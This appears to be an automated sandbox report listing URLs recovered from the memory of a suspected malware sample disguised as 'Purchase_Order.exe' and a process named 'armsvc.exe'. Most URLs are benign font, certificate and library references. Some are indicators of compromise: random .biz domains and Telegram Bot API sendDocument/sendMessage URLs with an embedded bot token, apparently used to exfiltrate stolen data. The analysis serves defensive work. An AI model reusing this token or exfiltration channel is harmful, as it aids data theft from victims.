Source: armsvc.exe, 00000002.00000002.782477969.00000000007A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://acwjcqqv.biz/R
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: Purchase_Order.exe, 00000001.00000002.793544673.00000000017DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: Purchase_Order.exe, 00000001.00000003.275362411.00000000017C3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cvgrf.biz/
Source: armsvc.exe, 00000002.00000003.627745526.0000000000828000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.627538147.0000000000821000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://deoci.biz/k
Source: armsvc.exe, 00000002.00000002.782477969.00000000007A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://dwrqljrr.biz/
Source: Purchase_Order.exe, 00000001.00000003.599473218.00000000014E0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.592830619.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://es5.github.io/#x15.4.4.21
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://fontfabrik.com
Source: Purchase_Order.exe, 00000001.00000002.793544673.0000000001861000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.744228115.0000000000823000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000002.782477969.0000000000820000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.739827425.0000000000823000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.743636191.0000000000821000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.740866854.0000000000823000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.741231618.0000000000823000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://gnqgo.biz/
Source: Purchase_Order.exe, 00000001.00000003.590125681.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://java.sun.com
Source: Purchase_Order.exe, 00000001.00000003.590125681.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://java.sun.comnot
Source: armsvc.exe, 00000002.00000002.782477969.00000000007A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://jhvzpcfg.biz/Z
Source: armsvc.exe, 00000002.00000003.736690960.0000000000822000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.737998576.0000000000823000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.643769687.000000000081F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.738374909.0000000000823000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.737531565.0000000000823000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://jpskm.biz/
Source: armsvc.exe, 00000002.00000002.782477969.00000000007A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://nqwjmb.biz//
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0H
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0I
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0O
Source: armsvc.exe, 00000002.00000002.782477969.00000000007A7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://oshhkdluh.biz/x
Source: Purchase_Order.exe, 00000001.00000003.666706454.0000000001650000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Microsoft.Office.LicensingService
Source: Purchase_Order.exe, 00000001.00000003.666770227.0000000001650000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Microsoft.Office.LicensingService.Common
Source: Purchase_Order.exe, 00000001.00000003.666770227.0000000001650000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.datacontract.org/2004/07/Microsoft.Office.LicensingService.CommonPartnerPartnerEntitl
Source: Purchase_Order.exe, 00000001.00000003.600149909.00000000014E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.m
Source: Purchase_Order.exe, 00000001.00000003.600022233.00000000014E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://schemas.microsoft.
Source: Purchase_Order.exe, 00000001.00000003.593128981.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.599822070.00000000014E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://stackoverflow.com/a/1465386/4224163
Source: Purchase_Order.exe, 00000001.00000003.592858911.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.599473218.00000000014E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://stackoverflow.com/a/15123777)
Source: Purchase_Order.exe, 00000001.00000003.599519516.00000000014E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://stackoverflow.com/questions/1026069/capitalize
Source: Purchase_Order.exe, 00000001.00000003.592889184.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://stackoverflow.com/questions/1026069/capitalize-the-first-letter-of-string-in-javascript
Source: Purchase_Order.exe, 00000001.00000003.592987791.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.599642055.00000000014E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://stackoverflow.com/questions/1068834/object-comparison-in-javascript
Source: Purchase_Order.exe, 00000001.00000003.746991905.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.752762468.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.757499366.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.750419000.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.760293699.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.751647620.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.762791696.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.741536432.00000000014B2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.761583113.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.753887575.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.758739658.00000000014D2000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://sv.symcb.com/sv.crl0W
Source: armsvc.exe, 00000002.00000003.472902571.0000000000829000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ww25.anpmnmxo.biz/caav?sub
Source: armsvc.exe, 00000002.00000003.426740076.0000000000826000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.427115553.0000000000830000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000002.782477969.0000000000805000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.426994332.0000000000829000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ww25.anpmnmxo.biz/caav?subid1=20230417-0252-2868-b969-a2461ae11758
Source: armsvc.exe, 00000002.00000002.782477969.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ww25.anpmnmxo.biz/caav?subid1=20230417-0252-2868-b969-a2461ae117581=20230417-0252-2771-aad6-d
Source: armsvc.exe, 00000002.00000003.426740076.0000000000826000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.427115553.0000000000830000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.426994332.0000000000829000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ww25.anpmnmxo.biz/caav?subid1=20230417-0252-2868-b969-a2461ae11758LocationETagAuthentication-
Source: armsvc.exe, 00000002.00000003.425127063.000000000082C000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000002.782477969.0000000000805000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.424325535.0000000000821000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ww25.anpmnmxo.biz/jdokvd?subid1=20230417-0252-2771-aad6-dd7bca8ff058
Source: armsvc.exe, 00000002.00000002.782477969.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ww25.anpmnmxo.bizl
Source: armsvc.exe, 00000002.00000002.782477969.0000000000805000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ww25.uhxqin.biz(
Source: armsvc.exe, 00000002.00000003.422951600.000000000081F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.422696673.0000000000826000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ww25.uhxqin.biz/
Source: armsvc.exe, 00000002.00000003.422951600.000000000081F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.422696673.0000000000826000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ww25.uhxqin.biz/O
Source: Purchase_Order.exe, 00000001.00000003.575480213.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.activestate.com
Source: Purchase_Order.exe, 00000001.00000003.575480213.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.activestate.comJames
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Purchase_Order.exe, 00000001.00000003.540063275.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.533619833.0000000001650000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/
Source: Purchase_Order.exe, 00000001.00000003.535999871.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.533700127.0000000001650000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/8
Source: Purchase_Order.exe, 00000001.00000003.577781202.00000000015D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/scite
Source: Purchase_Order.exe, 00000001.00000003.575480213.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.baanboard.com
Source: Purchase_Order.exe, 00000001.00000003.575480213.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.baanboard.comPraveen
Source: Purchase_Order.exe, 00000000.00000003.254236467.000000000623D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254378905.000000000620D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254193091.000000000620E000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254335085.000000000623E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.com
Source: Purchase_Order.exe, 00000000.00000003.254236467.000000000623D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254335085.000000000623E000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254180888.000000000623D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.com#
Source: Purchase_Order.exe, 00000000.00000003.254335085.000000000623E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.comTCW8E:
Source: Purchase_Order.exe, 00000000.00000003.255426600.0000000006209000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.255804742.000000000620B000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254932823.0000000006204000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.comU
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: Purchase_Order.exe, 00000000.00000003.254236467.000000000623D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254803628.000000000620D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254420336.000000000620D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254349443.000000000620E000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254378905.000000000620D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254492421.000000000620D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254335085.000000000623E000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254457779.000000000620E000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254180888.000000000623D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.comt
Source: Purchase_Order.exe, 00000001.00000003.593071536.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.599733624.00000000014E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.computerhope.com/forum/index.php?topic=76293.0
Source: Purchase_Order.exe, 00000001.00000003.575480213.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.develop.com
Source: Purchase_Order.exe, 00000001.00000003.575480213.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.develop.comYann
Source: Purchase_Order.exe, 00000001.00000003.476713323.00000000014B0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: Purchase_Order.exe, 00000000.00000002.303642315.0000000006200000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comdia
Source: Purchase_Order.exe, 00000000.00000003.258421336.0000000006209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comdko
Source: Purchase_Order.exe, 00000000.00000003.256483656.0000000006204000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comgrita
Source: Purchase_Order.exe, 00000000.00000002.303642315.0000000006200000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comoJ_
Source: Purchase_Order.exe, 00000000.00000002.303642315.0000000006200000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.comuetag_
Source: Purchase_Order.exe, 00000000.00000003.252044528.000000000621B000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.252068605.000000000621B000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.com
Source: Purchase_Order.exe, 00000000.00000003.252044528.000000000621B000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.252068605.000000000621B000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.252024774.000000000621B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.comc
Source: Purchase_Order.exe, 00000000.00000003.253389870.000000000620D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: Purchase_Order.exe, 00000000.00000003.253389870.000000000620D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn(Zi;/
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Purchase_Order.exe, 00000000.00000003.253742006.000000000620E000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.253815802.0000000006210000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.253793182.000000000620F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/io
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: Purchase_Order.exe, 00000000.00000003.255426600.0000000006209000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Purchase_Order.exe, 00000000.00000003.255426600.0000000006209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/-_
Source: Purchase_Order.exe, 00000000.00000003.255426600.0000000006209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/?_
Source: Purchase_Order.exe, 00000000.00000003.255426600.0000000006209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/C_
Source: Purchase_Order.exe, 00000000.00000003.255426600.0000000006209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/P
Source: Purchase_Order.exe, 00000000.00000003.255426600.0000000006209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: Purchase_Order.exe, 00000000.00000003.255426600.0000000006209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/J_
Source: Purchase_Order.exe, 00000000.00000003.255426600.0000000006209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/T_
Source: Purchase_Order.exe, 00000000.00000003.255426600.0000000006209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/x_
Source: Purchase_Order.exe, 00000000.00000003.255426600.0000000006209000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/n_
Source: Purchase_Order.exe, 00000001.00000003.575507410.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.lua.org
Source: Purchase_Order.exe, 00000001.00000003.575507410.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.rftp.com
Source: Purchase_Order.exe, 00000001.00000003.575507410.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.rftp.comSteve
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sakkal.com
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: Purchase_Order.exe, 00000001.00000003.575563770.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.scintila.org/scite.rng
Source: Purchase_Order.exe, 00000001.00000003.575507410.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.scintilla.org
Source: Purchase_Order.exe, 00000001.00000003.575480213.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.spaceblue.com
Source: Purchase_Order.exe, 00000001.00000003.575480213.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.spaceblue.comDenis
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.com
Source: Purchase_Order.exe, 00000001.00000003.599443845.00000000014E0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.592830619.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.tutorialspoint.com/javascript/array_map.htm
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.typography.netD
Source: Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: Purchase_Order.exe, 00000001.00000003.468361138.00000000015C0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.winimage.com/zLibDll
Source: Purchase_Order.exe, 00000000.00000003.254236467.000000000623D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254110445.000000000623D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254335085.000000000623E000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000002.303940437.0000000007412000.00000004.00000800.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254180888.000000000623D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: Purchase_Order.exe, 00000000.00000003.254236467.000000000623D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254110445.000000000623D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254335085.000000000623E000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254180888.000000000623D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn#
Source: Purchase_Order.exe, 00000000.00000003.254110445.000000000623D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254180888.000000000623D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cnt
Source: Purchase_Order.exe, 00000000.00000003.254236467.000000000623D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254110445.000000000623D000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254335085.000000000623E000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000003.254180888.000000000623D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cnu-hf9
Source: Purchase_Order.exe, 00000001.00000003.361114567.000000000187B000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.313958491.000000000187C000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000002.793544673.0000000001879000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.313359695.000000000187A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/
Source: Purchase_Order.exe, 00000000.00000002.308576519.0000000008F8B000.00000004.00000800.00020000.00000000.sdmp, Purchase_Order.exe, 00000000.00000002.308576519.000000000913F000.00000004.00000800.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000002.777921913.0000000000400000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: Purchase_Order.exe, 00000001.00000003.361114567.000000000186E000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.313901532.0000000004E6F000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.313359695.000000000187A000.00000004.00000020.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.360922688.0000000004E6F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot5797428905:AAGaRRXGZN1d9GGFd3sE5x4uSpCGF0PU4m4/sendDocument?chat_id=1251
Source: Purchase_Order.exe, 00000001.00000002.793544673.000000000179A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot5797428905:AAGaRRXGZN1d9GGFd3sE5x4uSpCGF0PU4m4/sendMessage
Source: Purchase_Order.exe, 00000001.00000003.492051709.0000000001640000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://clients2.google.com/service/update2/crxupdate_urlHKEY_LOCAL_MACHINE
Source: Purchase_Order.exe, 00000001.00000003.746991905.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.752762468.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.757499366.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.750419000.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.760293699.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.751647620.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.762791696.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.741536432.00000000014B2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.761583113.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.753887575.00000000014D2000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.758739658.00000000014D2000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/cps0%
